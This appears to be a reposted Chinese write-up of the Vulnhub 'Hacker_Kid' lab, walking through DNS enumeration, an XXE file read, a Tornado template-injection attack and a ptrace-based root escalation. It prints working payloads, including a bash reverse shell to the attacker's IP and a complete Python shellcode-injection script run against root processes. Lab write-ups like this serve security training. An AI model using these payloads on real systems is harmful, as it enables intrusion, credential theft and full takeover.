Vulnhub靶机:Hacker_Kid

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:Hacker_Kid(10.0.2.42)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

二、信息收集

使用nmap主机发现靶机ip:10.0.2.42

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:53、80、9999

在这里插入图片描述

80端口:打开网站没有发现什么有用的功能点,

在这里插入图片描述

9999端口:打开网站发现是一个登录界面

在这里插入图片描述

查看源码发现提示信息,需要使用page_no查看页面

TO DO: Use a GET parameter page_no to view pages.

在这里插入图片描述

尝试提交一个 GET 参数 page_no=1浏览页面,发现页面有变化,提示要挖的更深一点,可能是参数不对

在这里插入图片描述

我们使用burpsuite爆破参数,发现21参数

在这里插入图片描述

访问page_no=21,发现提示,需要使用子域名访问

在这里插入图片描述

好吧,你想让我说点什么?
我是一个黑客孩子,而不是一个愚蠢的黑客。所以我创建了一些子域,以便随时返回服务器!
在我的许多家中…一个这样的家…对我来说,一个这样的家:hackers.blackhat.local

将下面两条数据添加进/etc.hosts文件里面

10.0.2.15        hackers.blackhat.local
10.0.2.15        blackhat.local

联想到靶机开放了53端口,我们可以使用dig来执行DNS搜索

dig hackers.blackhat.local @10.0.2.42

在这里插入图片描述

发现一个子域名,将该子域名添加入/etc.hosts文件里面,浏览器访问该子域名,发现是一个注册页面

10.0.2.15        hackerkid.blackhat.local

在这里插入图片描述

但直接注册注册不了

在这里插入图片描述

三、漏洞利用

使用burpsuite抓包看看,发现post 的数据包含 XML 格式,可以尝试探测是否存在XXE漏洞

在这里插入图片描述

因为,响应包返回的信息中,有email的值。

那么我么尝试构造payload来构造外部实体email处的注入,利用协议读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "file:///etc/passwd"> ]>
<root><name>tom</name><tel>1111111111111</tel><email>&xxes;</email><password>123456</password></root>

在这里插入图片描述

读取成功存在XXE漏洞,筛选出两个用户具有 /bin/bash

root:x:0:0:root:/root:/bin/bash
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash

我们可以尝试读取saket用户的home目录里面的文件

/home/saket/.bash_history
/home/saket/.bash_logout
/home/saket/.bashrc

注意直接读取文件内容是读取不出来的,需要使用base64加密后输出

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc"> ]>
<root><name>tom</name><tel>1111111111111</tel><email>&xxes;</email><password>123456</password></root>

在这里插入图片描述

解密得到一个用户名密码

在这里插入图片描述

使用该用户名密码直接登录登录不了,想到该文件是放在saket用户的home目录下,可以将用户名改成saket试试

#Setting Password for running python app
username=“admin”
password=“Saket!#$%@!!”

saket:Saket!#$%@!!

登录成功

在这里插入图片描述

提示告诉他名字,尝试构造参数name,发现存在回显

在这里插入图片描述

根据nmap的扫描结果9999端口是tornado框架搭建的,tornado是一个用Python语言写成的Web服务器兼Web应用框架,可以尝试探测ssti注入漏洞,输入{{6*6}},回显36,存在ssti注入漏洞

在这里插入图片描述

尝试构造payload,需要寻找可以利用globals的函数,使用burpsuite爆破

在这里插入图片描述

使用eval函数执行命令

http://10.0.2.42:9999/?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

在这里插入图片描述

反弹shell,注意payload需要使用url编码

http://10.0.2.42:9999/?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('''__import__('os').system('bash -c "bash -i >& /dev/tcp/10.0.2.15/4444 0>&1"')''')}}

在这里插入图片描述
在这里插入图片描述

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

查看靶机是否存在特权命令或可利用的具有root权限的文件,发现/usr/lib/policykit-1/polkit-agent-helper-1文件,该版本的polkit具有提权漏洞,但靶机没有gcc环境。

sudo -l
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

我们使用其他方法提权,我们可以查看saket用户目录下的.bash_history文件,该文件保存了用户的历史命令,发现靶机本地 5600端口开放这一个服务

在这里插入图片描述

查看本地端口占用信息,未看到有 5600 端口

在这里插入图片描述

我们可以使用下面的这条命令查找具有Capabilities特殊操作权限的程序

/usr/sbin/getcap -r / 2>/dev/null

在这里插入图片描述

发现/usr/bin/python2.7 = cap_sys_ptrace+ep

可以利用python具备的cap_sys_ptrace+ep 能力对root权限的进程注入python类型shellcode,以此实现权限提升。

提权脚本:

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypes
import sys
import struct# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointer
registers.rip=registers.rip+2# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

脚本的作用就是对root权限的进程注入python类型shellcode,利用pythono具备的cap_sys_ptrace+ep 能力实现权限提升,该脚本如果执行成功,会在靶机的本地监听5600端口,我们也可以修改shellcode部分让其监听其他端口。

将脚本文件上传到靶机

本地:service apache2 start     
靶机:wget http://10.0.2.15/inject.py

因为需要找root进程进行注入,所以简单写个shell脚本对root进程进行批量尝试

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

在这里插入图片描述

脚本执行完毕,可以查看本地是否开启了 5600 端口

netstat -tunpla |grep 5600

在这里插入图片描述

直接使用nc连接,获取root权限

nc 127.0.0.1 5600

在这里插入图片描述

未发现flag

参考链接:vulnhub靶场——Hacker-Kid-v1-0-1_hacker_kid-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2808886.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

zkLogin如何使加密学变得更快更安全

*本篇来自Mysten Labs官方blog&#xff0c;文中“我们”指代该组织。 zkLogin不仅是将更多用户引入Web3应用的一次革命性飞跃&#xff0c;其开发还使零知识&#xff08;ZK&#xff09;API变得更安全更快速。然而&#xff0c;开发zkLogin&#xff0c;Sui的OAuth认证原语&#x…

全网唯一基于共享内存的C++ RPC框架

首先声明&#xff1a;我不是标题党&#xff0c;我是在找遍全网&#xff0c;没有找到一个基于共享内存实现、开源且跨平台的C RPC框架之后&#xff0c;才着手开发的这个框架。 项目地址&#xff1a;https://github.com/winsoft666/veigar 1. Veigar Veigar一词来源于英雄联盟里…

彩虹全新 SUP 模板,卡卡云模板修复版

彩虹全新 SUP 模板&#xff0c;卡卡云模板&#xff0c;首页美化&#xff0c;登陆页美化&#xff0c;修复了 PC 端购物车页面显示不正常的问题。下载地址&#xff1a;彩虹全新 SUP 模板.zip 模板截图

vscode 设置打开中断的默认工作目录/路径

vscode 设置打开终端的默认工作目录/路径** 文章目录 vscode 设置打开终端的默认工作目录/路径**打开vscode&#xff0c;打开设置UI 或是设置JSON文件&#xff0c;找到相关设置项方式1&#xff1a;通过打开settings.json的UI界面 设置:方式2&#xff1a;通过打开设置settings.j…

音视频开发之旅(69)-SD图生图

目录 1. 效果展示 2. ControlNet介绍 3. 图生图流程浅析 4. SDWebui图生图代码流程 5. 参考资料 一、效果展示 图生图的应用场景非常多&#xff0c;比较典型的应用场景有风格转化&#xff08;真人与二次元&#xff09;、线稿上色、换装和对图片进行扩图等&#xff0c;下面…

【前沿热点视觉算法】-RGB-D显著目标检测的边缘感知多模态变压器

计算机视觉算法分享。问题或建议&#xff0c;请文章私信或者文章末尾扫码加微信留言。 1 论文题目 RGB-D显著目标检测的边缘感知多模态变压器 2 论文摘要 RGB-D显著目标检测&#xff08;SOD&#xff09;近年来引起了广泛的关注。特别是&#xff0c;变压器已被使用&#xff0c;并…

vmware安装centos 7.9 操作系统

vmware安装centos 7.6 操作系统 1、下载centos 7.9 操作系统镜像文件2、安装centos 7.9 操作系统3、配置centos 7.6 操作系统3.1、配置静态IP地址 和 dns3.2、查看磁盘分区3.3、查看系统版本 1、下载centos 7.9 操作系统镜像文件 本文选择centos 7.9 最小化安装镜像包 这里选…

C++ //练习 8.7 修改上一节的书店程序,将结果保存到一个文件中。将输出文件名作为第二个参数传递给main函数。

C Primer&#xff08;第5版&#xff09; 练习 8.7 练习 8.7 修改上一节的书店程序&#xff0c;将结果保存到一个文件中。将输出文件名作为第二个参数传递给main函数。 环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09; 工具&#xff1a;vim 代码块 /********…

pthread_cond_timedwait()函数

绝对时间&#xff1a;相对于1970年1月1日0时0分0秒 相对时间&#xff1a;相对于当前时间&#xff0c;如sleep(3);相对于当前&#xff0c;过3s.

RK3568平台开发系列讲解(Linux系统篇)字符设备驱动:主设备和次设备

🚀返回专栏总目录 文章目录 一、主设备和次设备的概念二、设备号的分配和释放沉淀、分享、成长,让自己和他人都能有所收获!😄 字符设备通过字符(一个接一个的字符)以流方式向用户程序传递数据,就像串行端口那样。字符设备驱动通过/dev目录下的特殊文件公开设备的属性和…

STM32单片机基本原理与应用(八)

温度传感器实验 实验内容&#xff1a; 单片机通过代码模拟1-Wire总线并对DS18B20进行读写&#xff0c;并在TFTLCD屏幕上显示当前实时温度。 电路原理图&#xff1a; 1-Wire总线 1-Wire总线&#xff1a;即单总线协议&#xff0c;采用单根信号线&#xff0c;既传输时钟&#…

模型 OIIC(目标、障碍、洞察、挑战)

系列文章 分享 模型&#xff0c;了解更多&#x1f449; 模型_总纲目录。沟通方案工具。 1 OIIC(目标、障碍、洞察、挑战)模型的应用 1.1 OIIC 驱动的汽车配件渠道优化 一家知名的汽车配件制造商&#xff0c;旗下品牌拥有众多产品&#xff0c;其销售渠道广泛&#xff0c;不仅在…

USB Micro引脚及相应原理图绘制

前言&#xff1a;博主为实现绘制USB Micro输入口原理图&#xff0c;首先在 GD32F103XX的数据手册中找到引脚的功能描述&#xff0c;找到USBDM与USBDP功能&#xff0c;分别为引脚PA11与引脚PA12。然后进行相应的原理图绘制。 * USBDM。USBDM 引脚是与通用串行总线 (Universal Se…

GPT Pilot - 编写 95% 代码的开发工具!

在这篇博客介绍了GPT-pilot的研发细节&#xff0c;原作者将探讨GPT Pilot的技术内核 —— 一款基于GPT-4编写的开发工具&#xff0c;可以生成生产使用代码的应用。 你有没有想过&#xff0c;95%的应用代码&#xff0c;可以由AI编写&#xff0c;就像《钢铁侠》里的贾维斯一样&a…

人工智能在测绘行业的应用与挑战

目录 一、背景 二、AI在测绘行业的应用方向 1. 自动化特征提取 2. 数据处理与分析 3. 无人机测绘 4. 智能导航与路径规划 5. 三维建模与可视化 6. 地理信息系统&#xff08;GIS&#xff09;智能化 三、发展前景 1. 技术融合 2. 精准测绘 3. 智慧城市建设 4. 可…

ElasticSearch之bool多条件查询

写在前面 在实际的业务场景中&#xff0c;不可能只是简单的单值查询 &#xff0c;更多的是n个条件的综合查询&#xff0c;就像下面的搜索&#xff1a; 针对这种场景我们就需要依赖于bool查询了&#xff0c;本文就一起来看下这部分的内容。 1&#xff1a;bool查询介绍 bool查…

推荐Miaoo朋友圈程序全开源版源码

Miaoo朋友圈的全开源程序源码提供了一套完整的解决方案&#xff0c;允许用户在前台轻松发布图文、视频和音乐内容。同时&#xff0c;用户可以设置地理位置信息&#xff0c;或者选择自定义位置。此外&#xff0c;系统支持将发布的内容设置为广告模式&#xff0c;并通过站内消息或…

RK3568平台开发系列讲解(Linux系统篇)字符设备驱动:分配和注册字符设备

🚀返回专栏总目录 文章目录 一、分配和注册字符设备二、file_operations沉淀、分享、成长,让自己和他人都能有所收获!😄 一、分配和注册字符设备 字符设备在内核中表示为struct cdev的实例。在编写字符设备驱动程序时,目标是最终创建并注册与struct file_operations关联…

【海贼王的数据航海:利用数据结构成为数据海洋的霸主】顺序表

目录 1 -> 线性表 2 -> 顺序表 2.1 -> 概念及结构 2.2 -> 接口声明 2.3 -> 接口实现 2.3.1 -> 初始化 2.3.2 -> 销毁 2.3.3 -> 检查 2.3.4 -> 打印 2.3.5 -> 尾插 2.3.6 -> 头插 2.3.7 -> 尾删 2.3.8 -> 头删 2.3.9 ->…

C习题001:顺子日期【仅供参考】

题目&#xff1a;小明特别喜欢顺子。顺子指的是连续的三个数字&#xff1a;123、456等。顺子日期指的就是在日期的yyyymmdd表示法中&#xff0c;存在任意连续的三位数是一个顺子的日期。例如20220123就是一个顺子日期&#xff0c;因为它出现了一个顺子&#xff1a;123&#xff…